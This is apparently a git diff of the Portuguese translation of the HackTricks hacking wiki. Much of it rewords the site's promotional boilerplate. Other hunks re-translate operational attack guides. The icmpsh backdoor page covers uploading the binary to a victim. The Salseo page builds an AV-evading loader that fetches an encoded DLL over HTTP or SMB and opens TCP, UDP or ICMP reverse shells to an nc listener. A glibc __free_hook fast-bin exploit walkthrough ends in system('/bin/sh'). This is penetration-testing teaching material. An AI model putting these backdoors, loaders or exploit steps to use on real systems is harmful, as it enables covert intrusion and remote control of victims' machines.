processos legais de qualquer jurisdição ou autoridade. ``` Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/). ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/SUMMARY.md b/SUMMARY.md index 25179eb43..c348b9484 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -867,3 +867,4 @@ * [Post Exploitation](todo/post-exploitation.md) * [Investment Terms](todo/investment-terms.md) * [Cookies Policy](todo/cookies-policy.md) + diff --git a/android-forensics.md b/android-forensics.md index b55438dc5..f84a5e2f1 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -1,16 +1,16 @@ -# Forense Android +# Android Forensics {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -19,15 +19,15 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md index 15b3f0e68..ddccfbc45 100644 --- a/backdoors/icmpsh.md +++ b/backdoors/icmpsh.md @@ -1,25 +1,26 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -Baixe o backdoor em: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Lado do Cliente +Baixe a backdoor de: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) + +# Lado do cliente Execute o script: **run.sh** -**Se você receber algum erro, tente alterar as linhas:** +**Se você receber algum erro, tente mudar as linhas:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') @@ -31,21 +32,21 @@ read IP ``` # **Lado da Vítima** -Faça o upload do **icmpsh.exe** para a vítima e execute: +Faça o upload de **icmpsh.exe** para a vítima e execute: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/backdoors/salseo.md b/backdoors/salseo.md index 3f23e1ea3..80115ea41 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -1,39 +1,39 @@ # Salseo {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Compilando os binários +## Compiling the binaries Baixe o código-fonte do github e compile **EvilSalsa** e **SalseoLoader**. Você precisará do **Visual Studio** instalado para compilar o código. -Compile esses projetos para a arquitetura do Windows onde você irá usá-los (Se o Windows suportar x64, compile-os para essa arquitetura). +Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (Se o Windows suportar x64, compile-os para essa arquitetura). -Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build"** em **"Platform Target".** +Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".** -(\*\*Se você não encontrar essas opções, clique em **"Project Tab"** e depois em **"\ Properties"**) +(\*\*Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\ Properties"**) ![](<../.gitbook/assets/image (132).png>) -Em seguida, compile ambos os projetos (Build -> Build Solution) (Dentro dos logs aparecerá o caminho do executável): +Então, construa ambos os projetos (Build -> Build Solution) (Dentro dos logs aparecerá o caminho do executável): ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) -## Preparar o Backdoor +## Prepare the Backdoor -Primeiramente, você precisará codificar o **EvilSalsa.dll.** Para fazer isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**: +Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**: ### **Python** ``` @@ -45,27 +45,27 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -Ok, agora você tem tudo o que precisa para executar todo o Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.** +Ok, agora você tem tudo o que precisa para executar toda a coisa do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.** **Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...** -## **Executar a backdoor** +## **Executar o backdoor** -### **Obtendo um shell reverso TCP (baixando dll codificada através do HTTP)** +### **Obter um shell reverso TCP (baixando dll codificada através de HTTP)** -Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor HTTP para servir o EvilDalsa codificado. +Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` ### **Obtendo um shell reverso UDP (baixando dll codificada através do SMB)** -Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver). +Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` ### **Obtendo um shell reverso ICMP (dll codificada já dentro da vítima)** -**Desta vez, você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe em:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +**Desta vez você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) #### **Desativar Respostas ICMP:** ``` @@ -74,15 +74,15 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` -#### Executar o cliente: +#### Execute o cliente: ``` python icmpsh_m.py "" "" ``` -#### Dentro da vítima, vamos executar o negócio do salseo: +#### Dentro da vítima, vamos executar a coisa do salseo: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` -## Compilando o SalseoLoader como DLL exportando a função principal +## Compilando SalseoLoader como DLL exportando a função principal Abra o projeto SalseoLoader usando o Visual Studio. @@ -90,19 +90,19 @@ Abra o projeto SalseoLoader usando o Visual Studio. ![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Instale o DllExport para este projeto +### Instale DllExport para este projeto #### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...** ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Procure pelo pacote DllExport (usando a aba Procurar), e pressione Instalar (e aceite o popup)** +#### **Pesquise pelo pacote DllExport (usando a aba Navegar) e pressione Instalar (e aceite o popup)** ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -Na pasta do seu projeto aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat** +Na sua pasta de projeto, apareceram os arquivos: **DllExport.bat** e **DllExport\_Configure.bat** -### **Desinstale o DllExport** +### **Des**instalar DllExport Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário) @@ -112,9 +112,9 @@ Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário) Apenas **saia** do Visual Studio -Em seguida, vá para a sua **pasta do SalseoLoader** e **execute DllExport\_Configure.bat** +Em seguida, vá para sua **pasta SalseoLoader** e **execute DllExport\_Configure.bat** -Selecione **x64** (se você for usá-lo dentro de um ambiente x64, que foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar** +Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar** ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) @@ -124,7 +124,7 @@ Selecione **x64** (se você for usá-lo dentro de um ambiente x64, que foi o meu ![](<../.gitbook/assets/image (8) (1).png>) -### Construa a solução +### Compile a solução Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes) @@ -134,21 +134,21 @@ Selecione **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compi ![](<../.gitbook/assets/image (9) (1) (1).png>) -Para **construir** a solução: Build --> Build Solution (Dentro do console de saída aparecerá o caminho da nova DLL) +Para **compilar** a solução: Compilar --> Compilar Solução (Dentro do console de saída, o caminho da nova DLL aparecerá) -### Teste a DLL gerada +### Teste a Dll gerada -Copie e cole a DLL onde deseja testá-la. +Copie e cole a Dll onde você deseja testá-la. Execute: ``` rundll32.exe SalseoLoader.dll,main ``` -Se nenhum erro aparecer, provavelmente você tem uma DLL funcional!! +Se nenhum erro aparecer, provavelmente você tem um DLL funcional!! -## Obter um shell usando a DLL +## Obter um shell usando o DLL -Não se esqueça de usar um **servidor HTTP** e configurar um **ouvinte nc** +Não se esqueça de usar um **servidor** **HTTP** e configurar um **listener** **nc** ### Powershell ``` @@ -169,16 +169,16 @@ set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/arbitrary-write-2-exec/README.md b/binary-exploitation/arbitrary-write-2-exec/README.md new file mode 100644 index 000000000..27a892604 --- /dev/null +++ b/binary-exploitation/arbitrary-write-2-exec/README.md @@ -0,0 +1 @@ +# Escrita Arbitrária 2 Exec diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index fb062dbfc..79535ce83 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,25 +1,25 @@ # WWW2Exec - \_\_malloc\_hook & \_\_free\_hook {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## **Malloc Hook** -Conforme [site oficial da GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se este endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**. +Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**. -Para chamar malloc é possível esperar o programa chamar ou **chamando `printf("%10000$c")`** que aloca muitos bytes fazendo com que `libc` chame malloc para alocá-los no heap. +Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")** que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap. Mais informações sobre One Gadget em: @@ -28,12 +28,12 @@ Mais informações sobre One Gadget em: {% endcontent-ref %} {% hint style="warning" %} -Observe que os hooks estão **desativados para GLIBC >= 2.34**. Existem outras técnicas que podem ser usadas em versões modernas do GLIBC. Veja: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +Note que hooks estão **desativados para GLIBC >= 2.34**. Existem outras técnicas que podem ser usadas em versões modernas do GLIBC. Veja: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). {% endhint %} ## Free Hook -Isso foi abusado em um dos exemplos da página abusando de um ataque fast bin após ter abusado de um ataque unsorted bin: +Isso foi abusado em um dos exemplos da página abusando de um ataque de fast bin após ter abusado de um ataque de unsorted bin: {% content-ref url="../libc-heap/unsorted-bin-attack.md" %} [unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md) @@ -43,7 +43,7 @@ Isso foi abusado em um dos exemplos da página abusando de um ataque fast bin ap ```bash gef➤ p &__free_hook ``` -[No post](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) você pode encontrar um guia passo a passo sobre como localizar o endereço do **free hook** sem símbolos. Em resumo, na função **free**: +[No post](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) você pode encontrar um guia passo a passo sobre como localizar o endereço do free hook sem símbolos. Em resumo, na função free:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -57,12 +57,12 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
-Na quebra mencionada no código anterior em `$eax` estará localizado o endereço do **free hook**. +No break mencionado no código anterior, no `$eax` estará localizado o endereço do free hook. -Agora é realizado um **ataque de fast bin**: +Agora um **fast bin attack** é realizado: -- Primeiramente é descoberto que é possível trabalhar com **pedaços rápidos de tamanho 200** na localização do **`__free_hook`**: --
gef➤  p &__free_hook
+* Primeiro de tudo, foi descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
+* 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
@@ -70,11 +70,11 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- Se conseguirmos obter um pedaço rápido de tamanho 0x200 nessa localização, será possível sobrescrever um ponteiro de função que será executado -- Para isso, um novo pedaço de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, dessa forma obtemos um ponteiro para um pedaço liberado de tamanho `0xfc*2 = 0x1f8` no fast bin. -- Em seguida, a função de edição é chamada neste pedaço para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**. -- Então, um pedaço com tamanho `0x1f8` é criado para recuperar do fast bin o pedaço inútil anterior, então outro pedaço com tamanho `0x1f8` é criado para obter um pedaço do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**. -- E finalmente um pedaço contendo a string `/bin/sh\x00` é liberado chamando a função de exclusão, acionando a função **`__free_hook`** que aponta para o sistema com `/bin/sh\x00` como parâmetro. +* Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado. +* Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin. +* Em seguida, a função de edição é chamada neste chunk para modificar o endereço de **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior. +* Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**. +* E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro. ## Referências @@ -87,11 +87,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. {% endhint %} diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index 2b088cf7c..4c0b7738b 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -1,16 +1,16 @@ # WWW2Exec - GOT/PLT {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert 